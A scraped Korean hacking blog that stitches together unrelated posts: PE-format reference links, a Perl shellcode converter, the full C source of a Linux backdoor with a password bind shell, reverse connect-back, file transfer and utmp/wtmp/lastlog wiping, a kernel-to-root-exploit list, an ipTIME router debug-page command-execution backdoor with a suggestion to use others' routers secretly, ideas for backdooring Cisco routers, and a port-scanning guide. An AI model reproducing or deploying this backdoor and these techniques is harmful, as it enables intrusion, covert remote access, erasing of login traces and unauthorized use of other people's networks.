반응형

[발췌:Windows 시스템 실행파일의 구조와 원리 중]

 

비주얼 스튜디오 제공 DumpBin.exe

Viual Studio.NET 2003 명령 프롬프트 > BumpBin

- COFF 형태의 이전 PE 포맷을 비롯한 모든 실행 파일을 비롯하여 임포트 라이브러리 파일(.lib), 익스포트 라이브러리 파일(.exp), 그리고 .obj 등의 가능한 모든 형태의 PE 포맷을 다 지원함.

DumpBin.exe 옵션 들

 옵션  설명
 /ALL  PE 이미지를 위 리스트에 기술된 모든 옵션을 통해서 상세히 그 정보를 보여준다.
 /CLRHEADER  해당 PE가 관리 PE(.NET 기반 PE)인 경우 CLR  헤더의 내용을 출력한다.  
 /DISASM[:{BYTES|NOBYTES}]  텍스트 섹션의 코드 덤프를 역어셈블링해서 어셈블리어로 보여준다.
 /EXPORTS  DLL일 경우 이 DLL이 익스포트한 함수나 변수의 정보를 출력한다.
 /HEADERS  PE 파일의 헤더 정보를 출력한다.
 /IMPORTS[:filename]  임포트한 함수들이나 변수에 대한 정보를 출력한다.
 /RELOCATIONS  기준 재배치 섹션을 통해 재배치 정보를 출력한다.
 /SECTION:name  name 속성에 지정된 이름을 가진 섹션의 정보를 출력한다.


Smidgeonsoft 제공 PEBrowse Professional Interactive(freeware)

[관련사이트:smidgeonsoft]

- GUI를 가지며 비주얼하게 PE의 내용을 볼 수 있는 것이 장점.

  해당 PE를 로드시켜 디버깅도 가능하기 때문에 해당 PE가 실제 가상 주소 공간에 매핑된 상태를 눈으로 직접 확인할 수 있는 유용한 툴.


참고 : PE 이미지를 대상으로 하는 라이브러리인 ImageHelp 라이브러리가 있다

         디폴트로 제공되는 이 라이브러리는 PE 파일을 대상으로 작업 가능한 많은 기능들을 제공한다.

         자세한 설명은 MSDN 을 참고.

반응형

1. PE Format 완전 분석

http://hdp.null2root.org/reversing/PE_analysis_anesra.pdf


2.  Once Upon A Time In PE (번역) - 충실하게 역자주를 달아서 설명이 더 쉽게 되어 있다.(어셈블리어를 좀 알면 더 좋다)

http://web.kaist.ac.kr/~taekwonv/pe_icezlion.htm


원문: (윗글의 링크가 깨어져서 필요할 경우 참조.)

http://win32assembly.online.fr/


http://win32assembly.online.fr/pe-tut1.html (1. Overview Of PE File Format)

http://win32assembly.online.fr/pe-tut2.html (2. Detecting a Valid PE File)

http://win32assembly.online.fr/pe-tut3.html (3. File Header)

http://win32assembly.online.fr/pe-tut4.html (4. Optional Header)

http://win32assembly.online.fr/pe-tut6.html (5. Section Table)

http://win32assembly.online.fr/pe-tut7.html (6. Import Table)

http://win32assembly.online.fr/pe-tut7.html (7. Export Table )


Import Table에 대해 자세히 설명.

http://web.kaist.ac.kr/~taekwonv/pe_iat.htm


3. PE 파일 분석 - 쉬운 설명과 함께 C++ 예제로 어떻게 구현할수 있는지도 알수 있다.

http://kkamagui.springnote.com/pages/407001


4. Peering Inside the PE: A Tour of the Win32 Portable Executable File Format (by Matt Pietrek) - 1994년 (오래되었지만, 고전같이 한번 볼만한 글)

http://msdn.microsoft.com/en-us/magazine/ms809762.aspx


번역:http://blog.naver.com/gekigang/140016674843 


5. An In-Depth Look into the Win32 Portable Executable File Format (by Matt Pietrek) - 2002년

An In-Depth Look into the Win32 Portable Executable File Format, Part 2

(위의 글을 Win32의 변화에 맞추어 같은 저자가 다시 쓴 글)

http://msdn.microsoft.com/en-us/magazine/bb985992.aspx

http://msdn.microsoft.com/en-us/magazine/cc301805.aspx


http://msdn.microsoft.com/en-us/magazine/cc301808.aspx


6. Physical Layout of a .NET Assembly

http://www.informit.com/articles/article.aspx?p=25350


7. PE 레퍼런스(The PE file format by LUEVELSMEYER)

http://webster.cs.ucr.edu/Page_TechDocs/pe.txt


http://win32assembly.online.fr/files/pe1.zip


8. PE 파일 구조 다이어그램

(그림으로 PE 파일이 어떻게 구성되어 있는지 한눈에 볼수 있게 되어 있다)

http://www.openrce.org/reference_library/files/reference/PE%20Format.pdf


9. Wikipedia

http://ko.wikipedia.org/wiki/PE_%ED%8F%AC%EB%A7%B7


* PE 파일을 수정하는 여러 가지 방법들 소개

http://web.kaist.ac.kr/~taekwonv/


* 무료 PE 에디터 - Explorer Suite

http://www.ntcore.com/exsuite.php


* Visual Studio 안에 있는 툴 (...\vc\bin 폴더) - dumpbin


i.e. dumpbin /header "실행 파일"


그 파일안의 파일 헤더, Optional 헤더 등의 내용을 보여준다.

반응형
#!/usr/bin/perl


print "shellcode: ";
$x1=<>;
my $data = "$x1";
chomp($data);
my @values = split(undef,$data);

foreach my $val (@values) {

chomp($val);
print '\x';
print unpack(H8,"$val");

}

print "\n";
exit 0;
쉘코드 자료
http://blog.naver.com/sunku_nori?Redirect=Log&logNo=130008699090

쉘코드 변환기
http://hackersnews.org/hn/main.cgi/shellcode-converter.c?down_num=1116701267&board=hn_hack1&command=down_load&d=&filename=shellcode-converter.c
쉘코드 인코더
http://hackersnews.org/hn/main.cgi/shellcode-encoder.c?down_num=1116701309&board=hn_hack1&command=down_load&d=&filename=shellcode-encoder.c
반응형
반응형
/*

*   A tiny Linux backdoor with tty V. 1.2

*   Based on bindtty , thx sd

*   Code by W.Z.T     <wzt@xsec.org>

*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <errno.h>
#include <dirent.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <utmp.h>
#include <lastlog.h>
#include <pwd.h>
#include <sys/socket.h>

#define  HOME "/tmp"
#define  TEMP_FILE        "tthacker"
#define  CREATMODE        0777
#define  TIOCSCTTY        0x540E
#define  TIOCGWINSZ       0x5413
#define  TIOCSWINSZ       0x5414
#define  ECHAR            0x1d
#define  BUF              32768

#define  MAXENV          256
#define  ENVLEN          256
   
#define  WTMP_NAME        "/var/log/wtmp"
#define  UTMP_NAME        "/var/run/utmp"
#define  LASTLOG_NAME     "/var/log/lastlog"

#define  MAXARGS          50
#define  MAXFD              5
#define  SLEEP_TIME       10  /* !!connect back time */
#define  ARGLEN           300

#define  USAGES1          "\nconnected successful.welcome to use xsec's bindshell.Good Luck:)\n\n"
#define  ERRORS           "\nDo you want to get my shell? FUCK------->"
#define  PASSWD           "tthacker"     /* !!default password  */
#define  LOGIN              "login:"

#define  MAXNAME        100
#define  BUF_SIZE        4096
#define  TEMP_NAME        "tthacker"
      
void shell(int sock_id,int sock_fd);
void myshell(void);
void connect_back(char *hosts,char *port);    
void bindshell(char *port);    
void send_file(int sock_id);  
void save_file(int client_fd);
void get_tty(int num, char *base, char *buf);
void sig_child(int i);
void hangout(int i);
void cannot_stop_me(void);
void clearn_utmp(char *who);
void clearn_wtmp(char *who);
void clearn_lastlog(char *who);
void usage(char *pro);
int  open_tty(int *tty, int *pty);

struct winsize {
   unsigned short ws_row;
   unsigned short ws_col;
   unsigned short ws_xpixel;
   unsigned short ws_ypixel;
};

char command[ARGLEN];
char error1[MAXARGS];
char type1[MAXARGS];
char type2[MAXARGS];
char check[ARGLEN];

int fp;

int flag_g=0;
int flag_u=0;

char send_filename[MAXNAME];
char save_filename[MAXNAME];

int main(int argc,char *argv[])
{
    if(argc==1){
        usage(argv[0]);
    }
    if(argc==2){
        bindshell(argv[1]);
    }
    if(argc==3&&!strcmp(argv[1],"-c")){
        clearn_utmp(argv[2]);
        clearn_wtmp(argv[2]);
        clearn_lastlog(argv[2]);
    }
    if(argc==3&&strcmp(argv[1],"-c")){
        connect_back(argv[1],argv[2]);
    }
    if(argc==4&&!strcmp(argv[1],"-g")){    
        flag_g=1;
        strcpy(save_filename,argv[3]);
        bindshell(argv[2]);
    }
    if(argc==5&&!strcmp(argv[1],"-u")){
        flag_u=1;
        strcpy(send_filename,argv[4]);
        connect_back(argv[2],argv[3]);
    }
   
    return 0;
}

void usage(char *pro)
{
    fprintf(stdout,"Usage: \n\n");
    fprintf(stdout,"Bindshell    : %s <port>\n",pro);
    fprintf(stdout,"Connect back    : %s <remote ip> <port>\n",pro);
    fprintf(stdout,"Save file    : %s -g <port> <filename>\n",pro);
    fprintf(stdout,"Send file    : %s -u <remote ip> <port> <filename>\n",pro);
    fprintf(stdout,"Clean log(root)    : %s -c <username>\n",pro);
    exit(0);
}

void connect_back(char *hosts,char *port)
{
    struct sockaddr_in serv_addr;
    struct hostent     *host;
    int sock_fd,pid;

    if(flag_u!=1){
     printf("Daemon is starting...");
      fflush(stdout);
      pid = fork();
      if (pid !=0 ) {
          printf("OK, pid = %d\n", pid);
          exit(0);
      }
                                                                                                
      setsid();
      chdir("/");
      pid = open("/dev/null", O_RDWR);
      dup2(pid, 0);
      dup2(pid, 1);
      dup2(pid, 2);
      close(pid);
      signal(SIGHUP, SIG_IGN);
      signal(SIGCHLD, sig_child);
    }
   
    while(1){
        if((host=gethostbyname(hosts))==NULL){
            herror("gethostbyname");
            exit(1);
        }

        if((sock_fd=socket(AF_INET,SOCK_STREAM,0))==-1){
            perror("socket");
            exit(1);
        }

        serv_addr.sin_family=AF_INET;
        serv_addr.sin_port=htons(atoi(port));
        serv_addr.sin_addr=*((struct in_addr *)host->h_addr);
       
        bzero(&(serv_addr.sin_zero),8);

        strcpy(error1,(char *)inet_ntoa(INADDR_ANY));
            error1[strlen(error1)]='\0';

        if(connect(sock_fd,(struct sockaddr *)&serv_addr,sizeof(struct sockaddr))==-1){
            perror("connect");
            close(sock_fd);
            continue;
        }
       
        if(flag_u==1){
            send_file(sock_fd);
            exit(0);
        }
        else{
            shell(sock_fd,0);
            sleep(SLEEP_TIME);
            close(sock_fd);
        }
     }
}

void bindshell(char *port)
{
    int pid;
    int  sin_size;
    int sock_fd,client_fd;
    struct sockaddr_in my_addr;
     struct sockaddr_in remote_addr;

    if((sock_fd=socket(AF_INET,SOCK_STREAM,0))==-1){
        perror("socket");
        exit(1);
    }
   
    my_addr.sin_family=AF_INET;
    my_addr.sin_port=htons(atoi(port));
    my_addr.sin_addr.s_addr=INADDR_ANY;

    bzero(&(my_addr.sin_zero),8);

    if(bind(sock_fd,(struct sockaddr *)&my_addr,sizeof(struct sockaddr))==-1){
        perror("bind");
        exit(1);
    }

    if(listen(sock_fd,MAXFD)==-1){
        perror("listen");
        close(sock_fd);
        exit(0);
    }

    strcpy(error1,(char *)inet_ntoa(remote_addr));
    error1[strlen(error1)]='\0';


    printf("Daemon is starting...");
    fflush(stdout);
    pid = fork();
    if (pid !=0 ) {
        printf("OK, pid = %d\n", pid);
        exit(0);
     }
   
      setsid();
      chdir("/");
      pid = open("/dev/null", O_RDWR);
      dup2(pid, 0);
      dup2(pid, 1);
      dup2(pid, 2);
      close(pid);
      signal(SIGHUP, SIG_IGN);
      signal(SIGCHLD, sig_child);
   
    while(1){
        sin_size=sizeof(struct sockaddr_in);
        if((client_fd=accept(sock_fd,(struct sockaddr *)&remote_addr,&sin_size))==-1){
            perror("accept");
            close(client_fd);
            continue;
        }
        if(flag_g==1){
            save_file(client_fd);
            exit(0);    
        }
        else{
            shell(client_fd,sock_fd);
        }
        close(client_fd);
    }
}

void send_file(int sock_id)
{
    int fd,n_char;    
    char buffer[BUF_SIZE];
   
    if((fd=open(send_filename,O_RDONLY))<0){
        fprintf(stderr,"Cannot open %s\n",send_filename);
        exit(1);
    }

    printf("[+] Open file %s ok.\n",send_filename);    
    while((n_char=read(fd,buffer,BUF_SIZE))>0){
        write(sock_id,buffer,n_char);
        printf("Send %d bytes ok.\n",n_char);
    }
       
    fprintf(stdout,"send file %s ok.\n",send_filename);
    close(fd);
}

void save_file(int client_fd)
{
    int fd,n_char;
    char buffer[BUF_SIZE];
    char send_ok[BUF_SIZE]="save file ok.\n";
    char file_name[MAXNAME];
   
    if((fd=creat(save_filename,CREATMODE))<0){
        fprintf(stderr,"Cannot create % .n",save_filename);
        exit(1);
    }
   
    printf("[+] Open file %s ok.\n",save_filename);
    while((n_char=read(client_fd,buffer,BUF_SIZE))>0){
        write(fd,buffer,n_char);
        printf("Save %d bytes ok.\n",n_char);
    }

    write(client_fd,send_ok,sizeof(send_ok));        
    close(fd);
}

void shell(int sock_id,int sock_fd)
{
    fd_set     fds;
    struct  winsize ws;
    char     buf[BUF];
    char    msg[] = "Can't fork pty, bye!\n";
    char     *argv[] = {"sh", "-i", NULL};
    char     *envp[MAXENV];
     char     envbuf[(MAXENV+2) * ENVLEN];
     char     home[MAXENV];
    int     i,j,k,slen,rlen,count;
    int     subshell,tty,pty;
       unsigned char *p, *d;
       unsigned char wb[5];
   
    write(sock_id,LOGIN,sizeof(LOGIN));
    read(sock_id,check,sizeof(check));

    if(strstr(check,PASSWD)!=NULL){
        if(!fork()){
            write(sock_id,USAGES1,strlen(USAGES1));

//stealing code from bindtty                    

            envp[0]=home;
               sprintf(home, "HOME=/tmp", HOME);
                   j = 0;
                   do {
                   i = read(sock_id, &envbuf[j * ENVLEN], ENVLEN);
                   envp[j+1] = &envbuf[j * ENVLEN];
                   j++;
                   if ((j >= MAXENV) || (i < ENVLEN)) break;
               } while (envbuf[(j-1) * ENVLEN] != '\n');
               envp[j+1] = NULL;

               setpgid(0, 0);

               if (!open_tty(&tty, &pty)) {
                   write(sock_id, msg, strlen(msg));
                   close(sock_id);
                   exit(0);
               }

            subshell = fork();
               if (subshell == 0) {
                   close(pty);
                       setsid();
                 ioctl(tty, TIOCSCTTY);
                   close(sock_id);
                    close(sock_fd);
                       signal(SIGHUP, SIG_DFL);
                   signal(SIGCHLD, SIG_DFL);
                      dup2(tty,0);
                      dup2(tty,1);
                      dup2(tty,2);
                       close(tty);
                   execve("/bin/sh", argv, envp);
               }

               close(tty);

               signal(SIGHUP, hangout);
               signal(SIGTERM, hangout);    
               
               while (1) {
                   FD_ZERO(&fds);
                   FD_SET(pty, &fds);
                   FD_SET(sock_id, &fds);
                   if (select((pty > sock_id) ? (pty+1) : (sock_id+1),&fds, NULL, NULL, NULL) < 0){
                       break;
                   }
                   if (FD_ISSET(pty, &fds)) {
                       count = read(pty, buf, BUF);
                       if (count <= 0) break;
                       if (write(sock_id, buf, count) <= 0) break;
                   }
                   if (FD_ISSET(sock_id, &fds)) {
                       d = buf;
                       count = read(sock_id, buf, BUF);
                       if (count <= 0) break;

                       p = memchr(buf, ECHAR, count);
                       if (p) {
                               rlen = count - ((long) p - (long) buf);

                           if (rlen > 5) rlen = 5;
                                      memcpy(wb, p, rlen);
                           if (rlen < 5) {
                                   read(sock_id, &wb[rlen], 5 - rlen);
                           }

                           ws.ws_xpixel = ws.ws_ypixel = 0;
                           ws.ws_col = (wb[1] << 8) + wb[2];
                           ws.ws_row = (wb[3] << 8) + wb[4];
                           ioctl(pty, TIOCSWINSZ, &ws);
                           kill(0, SIGWINCH);

                           write(pty, buf, (long) p - (long) buf);
                           rlen = ((long) buf + count) - ((long)p+5);
                           if (rlen > 0)
                    write(pty, p+5, rlen);
                     }
                        else
                           if (write(pty, d, count) <= 0) break;
                      }
                    }
                   close(sock_id);
                   close(sock_fd);
                   close(pty);

                   waitpid(subshell, NULL, 0);
                   vhangup();
                   exit(0);
                  
        }
    }
    else{
        write(sock_id,ERRORS,strlen(ERRORS));
        write(sock_id,error1,strlen(error1));
        close(sock_id);
    }
    close(sock_id);
}        

//stealing code from bindtty:)


void    get_tty(int num, char *base, char *buf)
{
       char    series[] = "pqrstuvwxyzabcde";
       char    subs[] = "0123456789abcdef";
       int pos = strlen(base);
       strcpy(buf, base);
       buf[pos] = series[(num >> 4) & 0xF];
       buf[pos+1] = subs[num & 0xF];
       buf[pos+2] = 0;
}


int open_tty(int *tty, int *pty)
{
       char    buf[512];
       int i, fd;

       fd = open("/dev/ptmx", O_RDWR);
       close(fd);

       for (i=0; i < 256; i++) {
           get_tty(i, "/dev/pty", buf);
           *pty = open(buf, O_RDWR);
           if (*pty < 0) continue;
           get_tty(i, "/dev/tty", buf);
           *tty = open(buf, O_RDWR);
           if (*tty < 0) {
                   close(*pty);
                       continue;
           }
           return 1;
       }
       return 0;
}


void sig_child(int i)
{
       signal(SIGCHLD, sig_child);
       waitpid(-1, NULL, WNOHANG);
}

void hangout(int i)
{
       kill(0, SIGHUP);
       kill(0, SIGTERM);
}

void cannot_stop_me(void)
{
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);

    signal(SIGCHLD,SIG_IGN);
    signal(SIGHUP,SIG_IGN);
    signal(SIGTERM,SIG_IGN);
    signal(SIGINT,SIG_IGN);
    signal(SIGKILL,SIG_IGN);
    if(fork())
        exit(0);
}

void clearn_utmp(char *who)
{
       struct utmp ent;
                                                                 
       if((fp=open(UTMP_NAME,O_RDWR))<0){
               perror("open");
       }
       while(read(fp,&ent,sizeof(ent))>0){
               if(!strncmp(ent.ut_user,who,sizeof(ent))){
                       bzero((char *)&ent,sizeof(ent));
                       lseek(fp,-(sizeof(ent)),SEEK_CUR);
                       write(fp,&ent,sizeof(ent));
               }
       }
       printf("clearn %s done.\n",UTMP_NAME);
}

void clearn_lastlog(char *who)
{
       struct passwd *pwd;
       struct lastlog new;
                                                                 
       if((pwd=getpwnam(who))==NULL){
               printf("No such user.\n");
               exit(0);
       }
                                                                 
       if((fp=open(LASTLOG_NAME,O_RDWR))<0){
               printf("clearn %s failed\n",LASTLOG_NAME);
       }
       bzero((char *)&new,sizeof(new));
       lseek(fp,(long)pwd->pw_uid*sizeof(struct lastlog),0);
       write(fp,&new,sizeof(new));
       printf("clearn %s done.\n",LASTLOG_NAME);
       close(fp);
}

void clearn_wtmp(char *who)
{
       struct utmp ent;
                                                                 
       if((fp=open(WTMP_NAME,O_RDWR))<0){
               printf("Can't open the file %s \n",WTMP_NAME);
       }
       while(read(fp,&ent,sizeof(ent))>0){
               if(!strncmp(ent.ut_user,who,sizeof(ent))){
                       bzero((char *)&ent,sizeof(ent));
                       lseek(fp,-(sizeof(ent)),SEEK_CUR);
                       write(fp,&ent,sizeof(ent));
               }
       }
       printf("claern %s done.\n",WTMP_NAME);
       close(fp);
}
반응형
리눅스 커널 버전별 루트 익스플로잇 리스트입니다.
각자 서버의 커널 버전에 해당하는 익스플로잇을 찾아서 취약점은 없는지 테스트 해보시는것도 좋을 듯 싶습니다. 취약점 점검용으로만 참고하시고, 악용은 안되는거 아시죠?!

=======================

2.4.17
newlocal
kmod

2.4.18
brk
brk2
newlocal
kmod
km.2

2.4.19
brk
brk2
newlocal
kmod
km.2

2.4.20
ptrace
kmod
ptrace-kmod
km.2
brk
brk2

2.4.21
km.2
brk
brk2
ptrace
ptrace-kmod

2.4.22
km.2
brk2
brk
ptrace
ptrace-kmod

2.4.22-10
loginx
./loginx

2.4.23
mremap_pte

2.4.24
mremap_pte
Uselib24

2.4.25-1
uselib24

2.4.27
Uselib24

2.6.0
REDHAT 6.2
REDHAT 6.2 (zoot)
SUSE 6.3
SUSE 6.4
REDHAT 6.2 (zoot)
all top from rpm
-------------------------
FreeBSD 3.4-STABLE from port
FreeBSD 3.4-STABLE from packages
freeBSD 3.4-RELEASE from port
freeBSD 4.0-RELEASE from packages
----------------------------
all with wuftpd 2.6.0;
=
wuftpd
h00lyshit

2.6.2
mremap_pte
krad
h00lyshit

2.6.5 to 2.6.10
krad
krad2
h00lyshit

2.6.8-5
krad2
./krad x
x = 1..9
h00lyshit

2.6.9-34
r00t
h00lyshit

2.6.13-17
prctl
h00lyshit
-------------------
2.4.17 -> newlocal, kmod, uselib24
2.4.18 -> brk, brk2, newlocal, kmod
2.4.19 -> brk, brk2, newlocal, kmod
2.4.20 -> ptrace, kmod, ptrace-kmod, brk, brk2
2.4.21 -> brk, brk2, ptrace, ptrace-kmod
2.4.22 -> brk, brk2, ptrace, ptrace-kmod
2.4.22-10 -> loginx
2.4.23 -> mremap_pte
2.4.24 -> mremap_pte, uselib24
2.4.25-1 -> uselib24
2.4.27 -> uselib24
2.6.2 -> mremap_pte, krad, h00lyshit
2.6.5 -> krad, krad2, h00lyshit
2.6.6 -> krad, krad2, h00lyshit
2.6.7 -> krad, krad2, h00lyshit
2.6.8 -> krad, krad2, h00lyshit
2.6.8-5 -> krad2, h00lyshit
2.6.9 -> krad, krad2, h00lyshit
2.6.9-34 -> r00t, h00lyshit
2.6.10 -> krad, krad2, h00lyshit
2.6.13 -> raptor, raptor2, h0llyshit, prctl
2.6.14 -> raptor, raptor2, h0llyshit, prctl
2.6.15 -> raptor, raptor2, h0llyshit, prctl
2.6.16 -> raptor, raptor2, h0llyshit, prctl
반응형

iptime 공유기에 백도어..?가 있었다.
http://192.168.0.1/????/timepro.cgi?tmenu=main_frame&smenu=main&frame
암호가 없이 공유기 설정이 마음대로 들어가진다. 오마이갓.

????부분은 미공개처리인듯 유추시 cgi-bin  일듯으로 여겨짐
아니면 debug  거의 cgi-bin이 확실할듯

거기에..
http://192.168.0.1/cgi-bin/timepro.cgi?flag=debug 를 입력하면 이상한 놈이 나옵니다.
(최신버전은 debug 대신 bluesky입니다..)
가면.. command name을 입력할 수 있는게 뜨는데
리눅스 명령어가 모두 먹힌다.

hwinfo라던지.. 심지어 파일도 올릴 수 있는데 wget과 비슷한 역활을 하는 프로그램을 올려서
telnetd를 이용 putty로 접속하여 쉘을 실행을 시킬 수가 있다.

이런 개.....xxxxx 하지만 패치가 나왔다.
그래도 이 사실을 모르는 사람이 많을것이고.. 따라서 주위에 iptime 공유기가 검색된다면
조용히 몰래 공짜로 쓸 수가 있다. (암호가 걸려있다면).. 암호 안걸려있으면 걍 쓰면 되고 -_-;
http://kldp.org/node/83510

반응형
작년에 "TCL 로 Cisco 라우터에 백도어 심기" 라는 글을 올린 후 많은 분들이 이걸 직접 따라해보셨더군요.
Cisco 에뮬레이터인 Dynamips 를 이용해 cisco 라우터 이미지를 올려서 직접 테스트해보신 사례를 블로고스피어에서 심심찮게 찾아볼 수 있었습니다.

Dynamips 이용한 테스트 : http://blog.naver.com/mongu2/140048866200

그러나 Cisco 의 enable 패스워드를 획득한 상태에서 관리자 권한으로 백도어를 심는 것은 약하게 느껴지죠. 여러분이 대기업의 엣지 라우터를 장악했다. 그러면 이 상태를 가장 효과적으로 이용하는 것은 무엇이겠습니까?

네, GRE 터널링을 이용해 내부 네트워크에 transparent 하게 접근하거나, 패킷 스니핑을 이용해 내부자들의 ID/Password 를 획득하는 것이겠죠.

1. GRE 터널링을 이용한 공격 기법 : http://www.securityfocus.com/infocus/1847
2. TCL-pcap 을 이용한 스니핑 : http://www.tcl.tk/community/tcl2007/papers/Hari_Narayanan/TclPcapExtension.pdf

1번째 기법은 자주 사용되는 기법이지만, 고객사 네트워크를 현저히 느리게 할 수 있으므로 실무에 활용할때 주의가 필요합니다.

2번째 기법은 아쉽게도 한계가 있는데, TCL-pcap 이 pcap 라이브러리를 필요로 한다는 점과 TCL-pcap 을 Cisco 장비에 설치할 수 없다는 점입니다. 즉 좀 더 연구해야 실무에 활용할 수 있습니다.

Cisco 장비에서 제공하는 default 기능만으로 사용자의 ID/Password 를 획득할 수 있도록 TCL 스크립트를 짤 수 있다면 좋을텐데... 한번 연구해보실 분 없으려나요?

해외에선
ircd - http://www.hping.org/tclircd/,
HTTP Proxy - http://www.koders.com/tcl/fidDBADD59E2D02B64819FA5BB283B3A3F9EA2C9108.aspx 
를 심는 사례가 있더군요.

Cisco 공식 문서에 나온 예제 코드(http://www.cisco.com/en/US/docs/ios/12_3t/12_3t2/feature/guide/gt_tcl.html#wp1046490) 를 토대로 라우터를 스팸 발송에 이용하는 것도 생각해볼 수 있을 듯...

참고로 chargen port 에 접속하는 TCl 소스 예제
set server localhost
set socks [socket $server 19]
gets $socks line
puts $line
close $socks

위의 예제를 조금 확장하면 Cisco 라우터를 포트 스캐너로 활용할 수도 있겠습니다.
반응형
반응형
윈도우 기반 포트스캐너 (SuperScan)

해킹 공격이나 바이러스, 웜 등에 의하여 공격을 받은 시스템의 경우 공격자가 재접속 또는 해당 시스템을 악용하기 위해서 특정 통로를 설치하는 경우가 있다. 이러한 악성 프로그램은 사용자의 자각 증상이 적어 지나치는 경우가 많으으므로 네트워크 또는 시스템 관리자는 주기적으로 이러한 프로그램에 의하여 열려있는 포트 존재 여부를 파악하여야 한다. 사용자 또는 관리자가 설치하지 않은 서비스의 존재 여부를 가장 쉽게 파악할 수 있는 방법이 포트스캔이다.
포트스캔 도구는 여러 가지가 사용되지만 가장 기본적인 기능을 갖추고 사용이 편리한 도구인 Superscan에 대하여 알아보도록 한다.


가. 다운로드 및 설치

SuperScan은 TCP 프로토콜이 설치되어 있는 Windows 95/98, Windows 2000/NT 4.0,
Windows XP 시스템에서 사용가능하며 모든 시스템에는 ICMP.DLL 파일이 존재하여야 한다.
Superscan은 다음의 주소에서 다운받을 수 있다.

<http://www.foundstone.com/knowledge/proddesc/superscan3.html>

상단의 주소로 접속하면 (그림 4-1-5)에 나타난 다운로드 화면이 나타나며, 최하단에“Download this tool now”링크를 이용하여 다운로드 받는다. 다운로드 완료 후, 다운로드 받은 “superscan3.exe”파일을 더블클릭하여 해당 도구를 설치한다. 설치가 완료되면 기본적으로 C:\Program Files\Superscan 위치에 도구가 설치된다.

SuperScan 다운로드 화면 (그림 4-1-5)

나. 시스템 점검

SuperScan을 실행하면 (그림 4-1-6)과 같은 화면이 나타난다. 기본적인 작동법은 스캔하고자 하는 시스템의 IP주소 및 포트를 설정하고,“ Start”버튼을 클릭하면 점검이 이루어진다.

● 점검하고자 하는 시스템의 IP주소 또는 IP영역을 지정한다. 단일 시스템을 점검하는 경우, Start와 Stop영역에 동일한 IP주소를 입력한다. 예를 들어, 172.16.1.0/24의 C-Class를 점검 하고자 하는 경우에는 Start : 172.16.1.0, Stop : 172.16.1.255를 입력한다.
● 스캔 옵션을 지정한다. 각 옵션에 대한 설명은 [표 4-1-3]에 나타난 바와 같다.

SuperScan 점검화면 (그림 4-1-6)

점검항목(옵션) 의미
Resolve hostnames 점검대상의 호스트명을 쿼리
Only scan responsive pings Ping 요청에 대한 응답이 있는 시스템만 스캔
Show host responses 포트를 스캔하지 않고 Ping에 대한 응답 여부만을 점검
Every port in list 포트 목록에 지정된 모든 포트를 점검
All selected ports on list 포트 목록중 선택한 포트에 대해서만 점검
All list ports from 지정한 포트영역 내에서 포트목록에 지정된 포트만 점검
All ports from 지정한 포트영역 내의 모든 포트 점검
[표 4-1-3] Super Scan 점검항목

● 포트목록 설정은“Port list setup”버튼을 클릭하면 설정 창이 나타난다.

- Change/add/delete port info : 포트 목록에 새로운 포트를 추가, 삭제 또는 설명을 편집 할 수 있다.
- Port list file : 포트목록이 저장되어 있는 텍스트 파일을 지정한다. 포트정보를 추가, 삭제 및 수정한 이후“Save”버튼을 클릭하여 해당정보를 텍스트 파일에 저장한다.
※ 기본적으로“scanner.lst”라는 파일이 지정되어 있음
- Helper apps in right click menu : FTP, Telnet 및 Web 접속에 이용되는 어플리케이션 을 지정한다.
- Select ports : 포트목록 파일에 지정되어 있는 목록을 출력하여 주며 해당 포트를 더블 클 릭하여 선택 또는 해제한다. 선택된 포트는 포트번호 옆에 녹색의 ∨표시가 나타난다.

● 점검하고자하는 IP주소와 포트설정 및 점검옵션의 설정이 완료되면“Start”버튼을 클릭하여 점검을 시작한다.
● 점검결과는 하단에 나타난다.

다. 점검결과 확인

해당 시스템에 대하여 점검이 완료되면 (그림 4-1-8)과 같이 하단에 점검결과를 출력한다. 점검 상 시스템은 IP주소로 구분되어 트리 구조로 점검결과가 나타나며, 모든 시스템의 점검결과를 인하기 위해서는 하단 우측에“Expand All”버튼을 클릭하면 된다.

※“Resolve Hostname”옵션을 지정한 경우, IP주소 우측에 호스트명이 표시된다.

SuperScan 점검결과 화면 (그림 4-1-8)

하단의 점검결과는 윈도우 시스템과 리눅스 시스템을 대상으로 점검한 결과이며, 각 시스템에서 제공하는 서비스 및 포트번호가 표시된다. 각 시스템에서 서비스 제공을 위해 설치한 서비스 이외의 포트가 나타난 경우, 악성프로그램 설치를 의심하여야 하며 열려진 포트에 대하여 적절한 접근 통제 정책을 적용하여야 한다

라. 서비스 포트

다음의 포트들은 P2P, 웹폴더, 메신져트로이목마에 사용되는 포트목록으로 포트스캔을 통해 해당 서비스가 발견된 경우 특별한 주의를 기울여야 할 필요가 있다.

(1) 메신저 사용포트


(2) 웹폴더 사용포트


(3) 주요 어플리케이션 사용포트

(4) 주요 P2P 프로그램 사용포트 예시

(5) 트로이목마 프로그램 사용포트




출처 -한국정보보호진흥원 사이버안전메뉴얼 중

+ Recent posts